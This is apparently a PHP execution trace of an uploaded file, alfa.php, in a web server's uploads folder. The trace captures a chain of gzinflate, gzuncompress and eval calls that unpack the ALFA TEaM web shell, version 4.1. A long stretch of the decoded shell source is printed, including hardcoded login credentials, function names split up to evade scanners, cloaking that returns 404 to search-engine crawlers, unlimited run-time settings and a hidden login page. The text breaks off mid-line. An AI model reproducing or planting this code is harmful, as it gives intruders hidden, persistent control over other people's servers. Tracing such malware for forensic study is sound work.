3 12 0 0.015473 704160 gzinflate 0 /var/www/html/uploads/alfa.php(14) : eval()'d code 1 1 '\000\n��x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\035ń�\020'
3 12 1 0.018146 835264
3 12 R 'x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\035ń�\0203�O�!�\00'
3 13 0 0.021256 704160 gzuncompress 0 /var/www/html/uploads/alfa.php(14) : eval()'d code 1 1 'x�\000\b@��x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\035ń�\0203�O�!�\00'
3 13 1 0.023791 835264
3 13 R 'x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\035ń�\0203�O�!�\000a�|P��gͦ�'
3 14 0 0.026289 704160 gzuncompress 0 /var/www/html/uploads/alfa.php(14) : eval()'d code 1 1 'x��}iw�8���s�?�ݙ\006���!4�$�l�=d���1�\001\'Ʀm\023B2��VI�-\033CH��y��K\002R�T*�J�RI��9�\017�-����5r���.|�4u�I����f��j��\000\000Z���,i\000 }�\031�뙌Ò�\0035c��\000��\034�F\035����#\aRҲ9\b��\r$M_��K���i\b\v�;��B��i(�$)\\�CG\035tTK�\025�B>����2����wt��ut�-f�N&C���*�C�\v�eI���\t�\'6�Uː\006jL�o\b1\t�\027K���d�c�RXV�[,�U���\026�J�S�˥N�Rɗ*�|V�c�Lf���jߖ�\004CaK]�=0\025�>���͞f��R��\024�\005/���&��M�r>E��UC�&CG3\r�ݕt[u\001�֖�\032�p�\021�\'j��\006�h�\f�W;�ϣ.p �\035ń�\0203�O�!�\000a�|P��gͦ�'
3 14 1 0.030692 1171136
3 14 R '<?php\r\n/*\r\n\tAuthor: \tSolevisible/Alfa-Team\r\n\tTelegram: \thttps://telegram.me/solevisible\r\n\tYouTube: \thttps://youtube.com/solevisible\r\n\tGmail:\t\tsolevisible@gmail.com\r\n\tDate:\t\tMonday, September 14, 2020\r\n*/\r\n$GLOBALS[\'oZgNypoPRU\'] = array(\r\n \'username\' => \'alfa\',\r\n \'password\' => \'a6f452ec3293d7fb72c5b677257b20ec\',//md5(ehsan)\r\n \'safe_mode\' => \'0\',\r\n \'login_page\' => \'403\',\r\n \'show_icons\' => \'1\',\r\n \'post_encryption\' => false,\r\n '
3 15 0 0.043397 3414392 eval 1 '?><?php\r\n/*\r\n\tAuthor: \tSolevisible/Alfa-Team\r\n\tTelegram: \thttps://telegram.me/solevisible\r\n\tYouTube: \thttps://youtube.com/solevisible\r\n\tGmail:\t\tsolevisible@gmail.com\r\n\tDate:\t\tMonday, September 14, 2020\r\n*/\r\n$GLOBALS[\'oZgNypoPRU\'] = array(\r\n \'username\' => \'alfa\',\r\n \'password\' => \'a6f452ec3293d7fb72c5b677257b20ec\',//md5(ehsan)\r\n \'safe_mode\' => \'0\',\r\n \'login_page\' => \'403\',\r\n \'show_icons\' => \'1\',\r\n \'post_encryption\' => false,\r\n \'cgi_api\' => true,\r\n);\r\n\r\n$CWppUDJxuf = \'fu\' . \'n\' . \'ct\' . \'ion_\' . \'e\' . \'xist\' . \'s\';\r\n$aztJtafUXm = \'cha\' . \'r\' . \'C\' . \'o\' . \'d\' . \'e\' . \'A\' . \'t\' . \'\';\r\n$OVpGNqqFZs = \'e\' . \'v\' . \'al\';\r\n$psDEwGhsxg = \'gz\' . \'inf\' . \'late\';\r\n\r\nif (!$CWppUDJxuf(\'b\' . \'a\' . \'se64\' . \'_en\' . \'c\' . \'ode\' . \'\'))\r\n{\r\n function vcnvSCZgBz($data)\r\n {\r\n if (empty($data)) return;\r\n $b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';\r\n $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;\r\n $ac = 0;\r\n $enc = \'\';\r\n $tmp_arr = array();\r\n if (!$data)\r\n {\r\n return $data;\r\n }\r\n do\r\n {\r\n $o1 = $aztJtafUXm($data, $i++);\r\n $o2 = $aztJtafUXm($data, $i++);\r\n $o3 = $aztJtafUXm($data, $i++);\r\n $bits = $o1 << 16 | $o2 << 8 | $o3;\r\n $h1 = $bits >> 18 & 0x3f;\r\n $h2 = $bits >> 12 & 0x3f;\r\n $h3 = $bits >> 6 & 0x3f;\r\n $h4 = $bits & 0x3f;\r\n $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);\r\n }\r\n while ($i < strlen($data));\r\n $enc = implode($tmp_arr, \'\');\r\n $r = (strlen($data) % 3);\r\n return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr(\'===\', ($r || 3));\r\n }\r\n function charCodeAt($data, $char)\r\n {\r\n return ord(substr($data, $char, 1));\r\n }\r\n function charAt($data, $char)\r\n {\r\n return substr($data, $char, 1);\r\n }\r\n}\r\nelse\r\n{\r\n function vcnvSCZgBz($s)\r\n {\r\n $b = \'b\' . \'a\' . \'se64\' . \'_en\' . \'c\' . \'ode\' . \'\';\r\n return $b($s);\r\n }\r\n}\r\nif (!$CWppUDJxuf(\'b\' . \'a\' . \'se\' . \'6\' . \'4\' . \'_d\' . \'ecod\' . \'e\' . \'\'))\r\n{\r\n function zRtSHsbTzV($input)\r\n {\r\n if (empty($input)) return;\r\n $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";\r\n $chr1 = $chr2 = $chr3 = "";\r\n $enc1 = $enc2 = $enc3 = $enc4 = "";\r\n $i = 0;\r\n $output = "";\r\n $input = preg_replace("[^A-Za-z0-9\\+\\/\\=]", "", $input);\r\n do\r\n {\r\n $enc1 = strpos($keyStr, substr($input, $i++, 1));\r\n $enc2 = strpos($keyStr, substr($input, $i++, 1));\r\n $enc3 = strpos($keyStr, substr($input, $i++, 1));\r\n $enc4 = strpos($keyStr, substr($input, $i++, 1));\r\n $chr1 = ($enc1 << 2) | ($enc2 >> 4);\r\n $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);\r\n $chr3 = (($enc3 & 3) << 6) | $enc4;\r\n $output = $output . chr((int)$chr1);\r\n if ($enc3 != 64)\r\n {\r\n $output = $output . chr((int)$chr2);\r\n }\r\n if ($enc4 != 64)\r\n {\r\n $output = $output . chr((int)$chr3);\r\n }\r\n $chr1 = $chr2 = $chr3 = "";\r\n $enc1 = $enc2 = $enc3 = $enc4 = "";\r\n }\r\n while ($i < strlen($input));\r\n return $output;\r\n }\r\n}\r\nelse\r\n{\r\n function zRtSHsbTzV($s)\r\n {\r\n $b = \'b\' . \'a\' . \'se\' . \'6\' . \'4\' . \'_d\' . \'ecod\' . \'e\' . \'\';\r\n return $b($s);\r\n }\r\n}\r\n\r\nfunction __ZW5jb2Rlcg($s)\r\n{\r\n return vcnvSCZgBz($s);\r\n}\r\nfunction __ZGVjb2Rlcg($s)\r\n{\r\n return zRtSHsbTzV($s);\r\n}\r\n\r\n$GLOBALS[\'DB_NAME\'] = $GLOBALS[\'oZgNypoPRU\'];\r\n\r\nforeach ($GLOBALS[\'DB_NAME\'] as $key => $value)\r\n{\r\n\t$prefix = substr($key, 0, 2);\r\n\tif ($prefix == "us")\r\n\t{\r\n\t\t$GLOBALS[\'DB_NAME\']["user"] = $value;\r\n\t\t$GLOBALS[\'DB_NAME\']["user_rand"] = $key;\r\n\t}\r\n\telseif ($prefix == "pa")\r\n\t{\r\n\t\t$GLOBALS[\'DB_NAME\']["pass"] = $value;\r\n\t\t$GLOBALS[\'DB_NAME\']["pass_rand"] = $key;\r\n\t}\r\n\telseif ($prefix == "sa")\r\n\t{\r\n\t\t$GLOBALS[\'DB_NAME\']["safemode"] = $value;\r\n\t\t$GLOBALS[\'DB_NAME\']["safemode_rand"] = $key;\r\n\t}\r\n\telseif ($prefix == "lo")\r\n\t{\r\n\t\t$GLOBALS[\'DB_NAME\']["login_page"] = $value;\r\n\t\t$GLOBALS[\'DB_NAME\']["login_page_rand"] = $key;\r\n\t}\r\n\telseif ($prefix == "sh")\r\n\t{\r\n\t\t$GLOBALS[\'DB_NAME\']["show_icons"] = $value;\r\n\t\t$GLOBALS[\'DB_NAME\']["show_icons_rand"] = $key;\r\n\t}\r\n\telseif ($prefix == "po")\r\n\t{\r\n\t\t$GLOBALS[\'DB_NAME\']["post_encryption"] = $value;\r\n\t\t$GLOBALS[\'DB_NAME\']["post_encryption_rand"] = $key;\r\n\t}\r\n\telseif ($prefix == "cg")\r\n\t{\r\n\t\t$GLOBALS[\'DB_NAME\']["cgi_api"] = $value;\r\n\t\t$GLOBALS[\'DB_NAME\']["cgi_api_rand"] = $key;\r\n\t}\r\n}\r\n\r\nunset($GLOBALS[\'oZgNypoPRU\']);\r\n\r\nif (!isset($_SERVER["HTTP_HOST"])) exit();\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'user\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'user\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'pass\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'pass\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'safemode\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'safemode\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'login_page\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'login_page\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'show_icons\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'show_icons\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'post_encryption\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'post_encryption\\\']\');\r\ndefine("__ALFA_VERSION__", "4.1");\r\ndefine("__ALFA_UPDATE__", "2");\r\ndefine("__ALFA_CODE_NAME__", "Tesla");\r\ndefine("__ALFA_DATA_FOLDER__", "ALFA_DATA");\r\ndefine("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));\r\ndefine("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():\'\');\r\n$GLOBALS[\'__ALFA_COLOR__\'] = array(\r\n\t\t"shell_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header" => "border: 7px solid {color}",\r\n\t\t\t\t"#meunlist" => "border-color: {color}",\r\n\t\t\t\t"#hidden_sh" => "background-color: {color}",\r\n\t\t\t\t".ajaxarea" => "border: 1px solid {color}",\r\n\t\t\t\t".foot" => "border-color: {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_vars" => "#27979B",\r\n\t\t"header_values" => "#67ABDF",\r\n\t\t"header_on" => "#00FF00",\r\n\t\t"header_off" => "#ff0000",\r\n\t\t"header_none" => "#00FF00",\r\n\t\t"home_shell" => "#ff0000",\r\n\t\t"home_shell:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".home_shell:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"back_shell" => "#efbe73",\r\n\t\t"back_shell:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".back_shell:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_pwd" => "#00FF00",\r\n\t\t"header_pwd:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header_pwd:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_drive" => "#00FF00",\r\n\t\t"header_drive:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header_drive:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_show_all" => "#00FF00",\r\n\t\t"disable_functions" => "#ff0000",\r\n\t\t"footer_text" => "#27979B",\r\n\t\t"menu_options" => "#27979B",\r\n\t\t"menu_options:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".menu_options:hover" => "background-color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list" => array(\r\n\t\t\t"key_color" => "#00FF00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".content_options_holder .header center a" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".content_options_holder .header center a:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list_header" => array(\r\n\t\t\t"key_color" => "#59cc33",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".txtfont_header" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list_text" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".txtfont,.tbltxt" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"Alfa+" => array(\r\n\t\t\t"key_color" => "#06ff0f",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".alfa_plus" => "color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"hidden_shell_text" => array(\r\n\t\t\t"key_color" => "#00FF00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"#hidden_sh a" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"hidden_shell_version" => "#ff0000",\r\n\t\t"shell_name" => "#FF0000",\r\n\t\t"main_row:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main tr:hover" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_header" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main th" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_name" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main .main_name" => "color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_size" => "#67ABDF",\r\n\t\t"main_modify" => "#67ABDF",\r\n\t\t"main_owner_group" => "#67ABDF",\r\n\t\t"main_green_perm" => "#25ff00",\r\n\t\t"main_red_perm" => "#FF0000",\r\n\t\t"main_white_perm" => "#FFFFFF",\r\n\t\t"beetween_perms" => "#FFFFFF",\r\n\t\t"main_actions" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main .actions" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"menu_options:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".menu_options:hover" => "background-color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"minimize_editor_background" => array(\r\n\t\t\t"key_color" => "#0e304a",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".minimized-wrapper" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"minimize_editor_text" => array(\r\n\t\t\t"key_color" => "#f5deb3",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".minimized-text" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_border" => array(\r\n\t\t\t"key_color" => "#0e304a",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-explorer,.editor-modal" => "border: 2px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_background" => array(\r\n\t\t\t"key_color" => "rgba(0, 1, 23, 0.94)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-explorer,.editor-modal" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_background" => array(\r\n\t\t\t"key_color" => "rgba(21, 66, 88, 0.93)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-header" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_text" => array(\r\n\t\t\t"key_color" => "#00ff7f",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-path" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_button" => array(\r\n\t\t\t"key_color" => "#1d5673",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".close-button, .editor-minimize" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_actions" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor_actions" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_file_info_vars" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor_file_info_vars" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_file_info_values" => array(\r\n\t\t\t"key_color" => "#67ABDF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".filestools" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_header" => array(\r\n\t\t\t"key_color" => "#14ff07",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".hheader-text,.history-clear" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_list" => array(\r\n\t\t\t"key_color" => "#03b3a3",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-file-name" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_selected_file" => array(\r\n\t\t\t"key_color" => "rgba(49, 55, 93, 0.77)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".is_active" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_file:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".file-holder > .history:hover" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text],textarea" => "border: 1px solid {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box_text" => array(\r\n\t\t\t"key_color" => "#999999",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text],textarea" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select" => "border: 1px solid {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box_text" => array(\r\n\t\t\t"key_color" => "#FFFFEE",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"button_border" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=submit],.button,#addup" => "border: 1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"button:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",\r\n\t\t\t\t".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"outputs_text" => array(\r\n\t\t\t"key_color" => "#67ABDF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ml1" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"outputs_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ml1" => "border: 1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_background" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile strong" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_text_right" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile strong" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_text_left" => array(\r\n\t\t\t"key_color" => "#25ff00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile span" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_progress_bar" => array(\r\n\t\t\t"key_color" => "#00ff00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".up_bar" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"mysql_tables" => "#00FF00",\r\n\t\t"mysql_table_count" => "#67ABDF",\r\n\t\t"copyright" => "#dfff00",\r\n\t\t"scrollbar" => array(\r\n\t\t\t"key_color" => "#1e82b5",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"*::-webkit-scrollbar-thumb" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"scrollbar_background" => array(\r\n\t\t\t"key_color" => "#000115",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"*::-webkit-scrollbar-track" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n);\r\n$GLOBALS[\'__file_path\'] = str_replace(\'\\\\\',\'/\',trim(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)));\r\n$config = array(\'AlfaUser\' => $GLOBALS[\'DB_NAME\'][\'user\'],\'AlfaPass\' => $GLOBALS[\'DB_NAME\'][\'pass\'],\'AlfaProtectShell\' => $GLOBALS[\'DB_NAME\'][\'safemode\'],\'AlfaLoginPage\' => $GLOBALS[\'DB_NAME\'][\'login_page\']);\r\n//@session_start();\r\n@session_write_close();\r\n@ignore_user_abort(true);\r\n@set_time_limit(0);\r\n@ini_set(\'memory_limit\', \'-1\');\r\n@ini_set("upload_max_filesize", "9999m");\r\nif($config[\'AlfaProtectShell\']){\r\n$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");\r\n$Eform=\'<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>\';\r\nif($config[\'AlfaLoginPage\'] == \'gui\'){\r\nif(@$_COOKIE["AlfaUser"] != $config[\'AlfaUser\'] && $_COOKIE["AlfaPass"] != md5($config[\'AlfaPass\'])){\r\nif(@$_POST["usrname"]==$config[\'AlfaUser\'] && @md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho \'\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n</style>\r\n<title>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</title><center>\r\n<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>\r\n<div id=loginbox><p><font face="verdana,arial" size=-1>\r\n<center><table cellpadding=\\\'2\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' id=\\\'ap_table\\\'>\r\n<tr><td bgcolor="green"><table cellpadding=\\\'0\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' width=\\\'100%\\\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</b></font></th></tr>\r\n<tr><td bgcolor="black" style="padding:5">\r\n<form method="post">\r\n<input type="hidden" name="action" value="login">\r\n<input type="hidden" name="hide" value="">\r\n<center><table>\r\n<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \\\'username\\\'){this.value = \\\'\\\';}"></td></tr>\r\n<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \\\'password\\\') this.value = \\\'\\\';"></td></tr>\r\n<tr><td><font face="verdana,arial" size=-1> </font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>\r\n</div><br /></center>\';\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'500\'){\r\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", 